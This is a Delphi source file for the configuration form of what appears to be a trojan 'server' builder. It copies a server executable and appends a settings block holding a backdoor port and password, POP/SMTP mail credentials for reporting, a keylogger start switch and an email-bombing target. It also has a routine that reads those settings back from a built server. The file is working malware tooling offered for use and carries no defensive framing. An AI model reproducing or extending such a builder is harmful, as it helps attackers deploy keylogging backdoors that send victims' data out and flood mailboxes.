unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  StdCtrls, ExtCtrls;

type
  TForm1 = class(TForm)
    Button1: TButton;
    Label1: TLabel;
    Edit1: TEdit;
    Label2: TLabel;
    Label3: TLabel;
    Edit2: TEdit;
    Edit3: TEdit;
    Label4: TLabel;
    Label5: TLabel;
    Edit4: TEdit;
    Label6: TLabel;
    Edit5: TEdit;
    Label7: TLabel;
    Edit6: TEdit;
    Edit7: TEdit;
    Edit8: TEdit;
    Label8: TLabel;
    Label9: TLabel;
    Panel1: TPanel;
    RadioButton1: TRadioButton;
    RadioButton2: TRadioButton;
    Label10: TLabel;
    Panel2: TPanel;
    Label11: TLabel;
    RadioButton3: TRadioButton;
    RadioButton4: TRadioButton;
    SaveDialog1: TSaveDialog;
    Button2: TButton;
    Button3: TButton;
    OpenDialog1: TOpenDialog;
    Panel3: TPanel;
    Label12: TLabel;
    RadioButton5: TRadioButton;
    RadioButton6: TRadioButton;
    Label13: TLabel;
    Edit9: TEdit;
    procedure FormCreate(Sender: TObject);
    procedure Button1Click(Sender: TObject);
    procedure Button3Click(Sender: TObject);
    procedure Button2Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.DFM}

{$I ..\consts.pas}

const SERVERSIZE = 193024;

procedure TForm1.FormCreate(Sender: TObject);
begin
  Edit1.Text:= DEFAULTPORT;
  Edit2.Text:= DEFAULTPASSWORD;
  Edit3.Text:= DEFAULTPOPPSW;
  Edit4.Text:= DEFAULTPOPUSR;
  Edit5.Text:= DEFAULTPOPHST;
  Edit6.Text:= DEFAULTSMTPHST;
  Edit7.Text:= DEFAULTSMTPUSR;
  Edit8.Text:= DEFAULTSMTPS2;
  if DEFAULTEMAILNOT = SON then
    RadioButton3.Checked:= True
    else RadioButton4.Checked:= True;
  if DEFAULTKEYLOGSTART = SON then
    RadioButton1.Checked:= True
    else RadioButton2.Checked:= True;
  if DEFAULTBOMBING = SON then
    RadioButton5.Checked:= True
    else RadioButton6.Checked:= True;
  Edit9.Text:= DEFAULTBOMBTO;
end;

procedure TForm1.Button1Click(Sender: TObject);
var FromF, ToF: File;
 NumRead, NumWritten: Integer;
 Buf: array[1..2048] of Char;
 mystr: string;
 i: integer;
 osszread: integer;
begin
  if SaveDialog1.Execute then                              { Display Save dialog box}
  begin
    osszread:= 0;
    AssignFile(FromF, SERVEREXENAME);
    Reset(FromF, 1);	{ Record size = 1 }
    AssignFile(ToF, SaveDialog1.FileName);	{ Open output file }
    Rewrite(ToF, 1);	{ Record size = 1 }
    repeat
      BlockRead(FromF, Buf, SizeOf(Buf), NumRead);
      inc (osszread, NumRead);
      BlockWrite(ToF, Buf, NumRead, NumWritten);
    until (NumRead = 0) or (NumWritten <> NumRead) or (osszread = SERVERSIZE);
    mystr:= #13#13+'!!!SETUPZ'+Edit1.Text+'|'+Edit2.Text+'|'
    +Edit3.Text+'|'+Edit4.Text+'|'
    +Edit5.Text+'|'+Edit6.Text+'|'
    +Edit7.Text+'|'+Edit8.Text+'|';
    if RadioButton3.Checked Then mystr:=mystr+SON+'|' else
      mystr:=mystr+SOFF+'|';
    if RadioButton1.Checked Then mystr:=mystr+SON+'|' else
      mystr:=mystr+SOFF+'|';
    if RadioButton5.Checked Then mystr:=mystr+SON+'|' else
      mystr:=mystr+SOFF+'|';
    mystr:= mystr +Edit9.Text+'|';
    NumRead:= length(mystr);
    for i:= 1 to NumRead do
      Buf[i]:= mystr[i];
    BlockWrite(ToF, Buf, NumRead, NumWritten);
    CloseFile(FromF);
    CloseFile(ToF);
    ShowMessage ('Ok.'+#13+'Plus bytes added: '+IntToStr(length(mystr)));
  end;
end;

procedure TForm1.Button3Click(Sender: TObject);
begin
  Close;
end;

procedure ReadSetupz (whatasuxx: string);
var
  iFileHandle: File;
  i, j, iBytesRead: Integer;
  mystr, tmp: string;
  Buffer: array[1..2048] of Char;

begin
    FileMode:= 0;
    mystr:='';
      AssignFile(iFileHandle, whatasuxx);
{$I-} Reset(iFileHandle, 1); {$I+}
      If IoResult <> 0 then Exit;

      repeat
        BlockRead(iFileHandle, Buffer, SizeOf(Buffer), iBytesRead);
        for i := 0 to iBytesRead-8 do
        begin
           if (Buffer[i] = '!') and (Buffer[i+1] = '!') and
           (Buffer[i+2] = '!') and (Buffer[i+3] = 'S') and
           (Buffer[i+4] = 'E') and (Buffer[i+5] = 'T') and
           (Buffer[i+6] = 'U') and (Buffer[i+7] = 'P') and
           (Buffer[i+8] = 'Z') then
           begin
              for j:= i+9 to iBytesRead do
                mystr:= mystr + Buffer[j];
           end;

        end;
      until (iBytesRead = 0) ;
      CloseFile(iFileHandle);
    FileMode:= 2;
//------------------------------------------
  if Length(mystr) > 0 then
  begin
    //DEFAULTPORT
    tmp:= Copy (mystr, 1, Pos ('|', mystr)-1);
    Delete (mystr, 1, Pos ('|', mystr));
    DEFAULTPORT:= tmp;

    //DEFAULTPASSWORD
    tmp:= Copy (mystr, 1, Pos ('|', mystr)-1);
    Delete (mystr, 1, Pos ('|', mystr));
    DEFAULTPASSWORD:= tmp;

    //DEFAULTPOPPSW
    tmp:= Copy (mystr, 1, Pos ('|', mystr)-1);
    Delete (mystr, 1, Pos ('|', mystr));
    DEFAULTPOPPSW:= tmp;

    //DEFAULTPOPUSR
    tmp:= Copy (mystr, 1, Pos ('|', mystr)-1);
    Delete (mystr, 1, Pos ('|', mystr));
    DEFAULTPOPUSR:= tmp;

     //DEFAULTPOPHST
    tmp:= Copy (mystr, 1, Pos ('|', mystr)-1);
    Delete (mystr, 1, Pos ('|', mystr));
    DEFAULTPOPHST:= tmp;

     //DEFAULTSMTPHST
    tmp:= Copy (mystr, 1, Pos ('|', mystr)-1);
    Delete (mystr, 1, Pos ('|', mystr));
    DEFAULTSMTPHST:= tmp;

     //DEFAULTSMTPUSR
    tmp:= Copy (mystr, 1, Pos ('|', mystr)-1);
    Delete (mystr, 1, Pos ('|', mystr));
    DEFAULTSMTPUSR:= tmp;

     //DEFAULTSMTPS2
    tmp:= Copy (mystr, 1, Pos ('|', mystr)-1);
    Delete (mystr, 1, Pos ('|', mystr));
    DEFAULTSMTPS2:= tmp;

     //DEFAULTFTPSTART
    tmp:= Copy (mystr, 1, Pos ('|', mystr)-1);
    Delete (mystr, 1, Pos ('|', mystr));
    DEFAULTFTPSTART:= tmp;

     //DEFAULTKEYLOGSTART
    tmp:= Copy (mystr, 1, Pos ('|', mystr)-1);
    Delete (mystr, 1, Pos ('|', mystr));
    DEFAULTKEYLOGSTART:= tmp;

     //DEFAULTBOMBING
    tmp:= Copy (mystr, 1, Pos ('|', mystr)-1);
    Delete (mystr, 1, Pos ('|', mystr));
    DEFAULTBOMBING:= tmp;

     //DEFAULTBOMBTO
    tmp:= Copy (mystr, 1, Pos ('|', mystr)-1);
    Delete (mystr, 1, Pos ('|', mystr));
    DEFAULTBOMBTO:= tmp;
  end;
end;


procedure TForm1.Button2Click(Sender: TObject);
begin
  if OpenDialog1.Execute then
  begin
    ReadSetupz(Opendialog1.Filename);
    FormCreate (nil);
  end;
end;

end.
